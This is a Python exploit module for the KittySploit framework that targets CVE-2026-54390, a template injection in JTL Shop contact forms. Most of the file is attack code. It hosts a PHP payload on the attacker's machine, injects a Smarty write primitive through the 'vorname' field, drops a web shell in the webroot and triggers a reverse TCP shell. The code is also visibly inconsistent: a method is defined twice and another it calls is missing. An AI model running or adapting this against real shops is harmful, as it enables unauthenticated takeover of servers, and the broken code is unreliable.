JTL Shop Smarty SSTI RCE (CVE-2026-54390)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-54390 — JTL Shop Smarty SSTI unauthenticated RCE."""

from __future__ import annotations

import time
from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.jtl_shop_probe import (
    JTL_PATCHED_VERSIONS,
    JTL_RCE_MIN,
    JTL_VULN_MAX,
    JtlPayloadServer,
    JtlShop,
)


class Module(Exploit, Http_client, JtlShop):
    __info__ = {
        "name": "JTL Shop Smarty SSTI RCE (CVE-2026-54390)",
        "description": (
            "Exploits CVE-2026-54390 in JTL Shop 5.4.0–5.7.1: unauthenticated contact "
            "form input reaches SmartyRenderer::fetch('string:' . $subject). Serves the "
            "configured framework PHP payload locally, injects a Smarty system() write "
            "primitive via vorname, waits for async email rendering, then triggers "
            "reverse_tcp through HTTP."
        ),
        "author": ["Sansec", "KittySploit Team"],
        "cve": ["CVE-2026-54390"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-54390",
            "https://www.cve.org/CVERecord?id=CVE-2026-54390",
            "https://sansec.io/research/jtl-shop-ssti-rce",
        ],
        "platform": Platform.PHP,
        "arch": [Arch.PHP],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "jtl",
            "jtl-shop",
            "smarty",
            "ssti",
            "contact-form",
            "rce",
            "unauthenticated",
            "cve-2026-54390",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 10,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 2.0,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["php"],
                "confidence_min_any": {},
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    payload_port = OptPort(
        9999,
        "Local port serving PHP for Smarty remote fetch (uses lhost)",
        False,
    )
    contact_path = OptString("", "Contact form path override (auto-detect if empty)", False)
    inject_field = OptString(
        "vorname",
        "Contact form field injected with Smarty payload",
        False,
        advanced=True,
    )
    shell_name = OptString("", "Written PHP filename in webroot (random if empty)", False, advanced=True)
    wait_seconds = OptInteger(
        20,
        "Seconds to poll for async email SSTI shell write",
        False,
        advanced=True,
    )
    skip_version_check = OptBool(
        False,
        "Attempt exploit when version appears patched or unknown",
        False,
        advanced=True,
    )

    def _base_path(self) -> str:
        path = str(getattr(self, "path", "/") or "/").strip()
        return path if path.startswith("/") else f"/{path}"

    def _base_path(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        php = str(payload or "").strip()
        if not php:
            raise ValueError("No payload configured — set payloads/singles/cmd/php/reverse_tcp")
        return php

    def _shell_filename(self) -> str:
        name = str(self.shell_name or "").strip() or f"ks_{self.random_text(8)}.php"
        return name if name.endswith(".php") else f"{name}.php"

    def _contact_form(self) -> Optional[dict]:
        extra = [str(self.contact_path)] if str(self.contact_path or "").strip() else None
        return self.jtl_find_contact_form(self._base_path(), extra_paths=extra)

    def check(self):
        probe = self.jtl_probe(self._base_path())
        if not probe.get("found"):
            return {
                "vulnerable": False,
                "reason": "JTL Shop not detected",
                "confidence": "medium",
            }

        version = str(probe.get("version") or "")
        vuln = self.jtl_is_vulnerable(version)
        rce = self.jtl_supports_rce(version)

        if vuln is False and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": (
                    f"JTL Shop {version} patched for CVE-2026-54390 "
                    f"(fixed in {', '.join(JTL_PATCHED_VERSIONS)})"
                ),
                "confidence": "high",
            }

        if rce is False and version and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": (
                    f"JTL Shop {version} < {JTL_RCE_MIN} — credential theft only, "
                    f"not full RCE via file_get_contents"
                ),
                "confidence": "high",
            }

        form = self._contact_form()
        if not form:
            return {
                "vulnerable": False,
                "reason": "JTL Shop detected but no contact form found",
                "confidence": "medium",
            }

        if not str(self.payload or "").strip():
            return {
                "vulnerable": True,
                "reason": f"JTL Shop {version or 'unknown'} with contact form — set a PHP payload",
                "confidence": "medium",
            }

        confidence = "high" if vuln is True and rce is True else "medium"
        return {
            "vulnerable": True,
            "reason": (
                f"JTL Shop {version or 'unknown'} contact form at {form.get('path')}; "
                f"CVE-2026-54390 if {JTL_VULN_MAX} and >= {JTL_RCE_MIN} for RCE"
            ),
            "confidence": confidence,
        }

    def _trigger_shell(self, shell_path: str) -> bool:
        response = self.http_request(
            method="GET",
            path=shell_path,
            allow_redirects=True,
            timeout=int(self.timeout or 20),
        )
        return bool(response and int(response.status_code or 0) in (200, 500))

    def _poll_shell(self, shell_name: str) -> Optional[str]:
        deadline = time.time() + max(5, int(self.wait_seconds or 20))
        while time.time() < deadline:
            shell_path = self.jtl_resolve_shell(shell_name, self._base_path())
            if shell_path:
                return shell_path
            time.sleep(2)
        return None

    def run(self):
        server: Optional[JtlPayloadServer] = None
        try:
            print_status("CVE-2026-54390 — JTL Shop Smarty SSTI contact form RCE")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            form = self._contact_form()
            if not form:
                print_error("Contact form not found")
                return False

            php_source = self._payload_php()
            shell_name = self._shell_filename()
            lhost = self.lhost or "127.0.0.1"
            port = int(self.payload_port or 9999)

            server = JtlPayloadServer(php_source, host="0.0.0.0", port=port).start()
            payload_url = server.public_url(lhost)
            print_info(f"Serving framework payload at {payload_url}")

            ssti_payload = self.jtl_build_write_payload(payload_url, shell_name)
            inject_field = str(self.inject_field or "vorname").strip()
            print_status(
                f"Submitting Smarty write payload via {inject_field} "
                f"→ ./{shell_name} (async email SSTI)"
            )

            if not self.jtl_submit_contact_form(
                form,
                ssti_payload,
                inject_field=inject_field,
            ):
                print_warning("Contact form submission did not return a clear success marker")

            print_status(f"Polling up to {int(self.wait_seconds or 20)}s for written shell")
            shell_path = self._poll_shell(shell_name)
            if not shell_path:
                print_error(
                    "Shell not observed — email SSTI may be disabled, blocked, or lhost unreachable"
                )
                return False

            print_success(f"Payload written to {shell_path}")
            print_status(f"Executing payload: GET {shell_path}")
            if not self._trigger_shell(shell_path):
                print_error("Uploaded PHP not reachable — execution may still have occurred")
                return False

            print_success(f"Payload triggered at {shell_path}")
            print_info("Verify listener/session for reverse_tcp callback")
            self.vulnerable()
            return True

        except ValueError as exc:
            print_error(str(exc))
            return False
        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False
        finally:
            if server:
                server.stop()